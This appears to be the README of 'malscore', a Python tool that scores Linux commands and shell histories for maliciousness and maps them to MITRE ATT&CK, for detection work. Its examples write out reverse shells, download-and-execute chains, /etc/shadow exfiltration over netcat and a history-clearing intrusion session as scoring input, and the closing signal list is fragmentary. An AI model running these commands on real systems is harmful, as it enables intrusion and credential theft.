
Punteggio di malevolenza per i comandi Linux
malscore prende una riga di comando Linux, o una sessione di comandi come una cronologia
della shell, e restituisce un punteggio di malevolenza da 0 a 100 con una fascia di verdetto e
la mappatura MITRE ATT&CK:
command(s) → features → signals → score + MITRE mapping
Non esegue, espande o risolve mai nulla — legge solo il testo
(applicato da tests/test_safety.py). Non ha dipendenze oltre alla libreria
standard di Python (3.8+).
pip install malscore # provides the `malscore` command
Da un checkout del sorgente:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) oscura i valori che sembrano credenziali prima che qualsiasi testo di comando venga restituito; i punteggi non sono influenzati.
Esempi:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
In un file di sessione ogni riga non vuota è un comando, preso alla lettera: non
c'è alcuna gestione di commenti, continuazioni di riga o here-document. --batch è
diverso: valuta ogni comando di un feed JSON in modo indipendente, senza
analisi incrociata tra comandi.
| punteggio | verdetto | significato |
|---|---|---|
| 80–100 | critical | la forma è raramente legittima (reverse shell, cancellazione del disco, account uid‑0) |
| 60–79 | high | prove forti; da esaminare tempestivamente |
| 35–59 | medium | sospetto nella maggior parte dei contesti (curl‑pipe‑shell, lettura di shadow) |
| 15–34 | low | da notare in combinazione |
| 0–14 | benign | routine |
Le fasce e i pesi sono un punto di partenza regolato manualmente, non un modello addestrato — ogni punto del punteggio risale a un segnale denominato e a una tecnica MITRE ATT&CK.
sudo/env/xargs vengono rimossi, si scende nelle sostituzioni e nei payload
-c, e vengono calcolate feature deterministiche — catene di download, percorsi
toccati, superfici di persistenza, trucchi di codifica, e un
gruppo tradecraft (malscore/tradecraft.py) che riconosce specifiche
tecniche d'attacco in base alla forma.malscore/signals.py è un catalogo di ~120 segnali denominati: un
predicato sul record delle feature, un peso in (0, 1], una tattica MITRE e
id di tecniche. Un peso si legge come "quanto è probabile che questo sia ostile se
fosse l'unica cosa che sappiamo". Il catalogo copre, per tattica ATT&CK:
/proc/self/fd;/etc/shadow e chiavi private, metadati cloud,
ricerche per parole chiave di credenziali su file di configurazione, letture di .pgpass/.netrc/
file di credenziali cloud, scraping di ambiente e cronologia, hijack dell'SSH-agent;sudo -u#-1,
hijack del PATH;/proc;DROP TABLE, uccisione di processi in massa.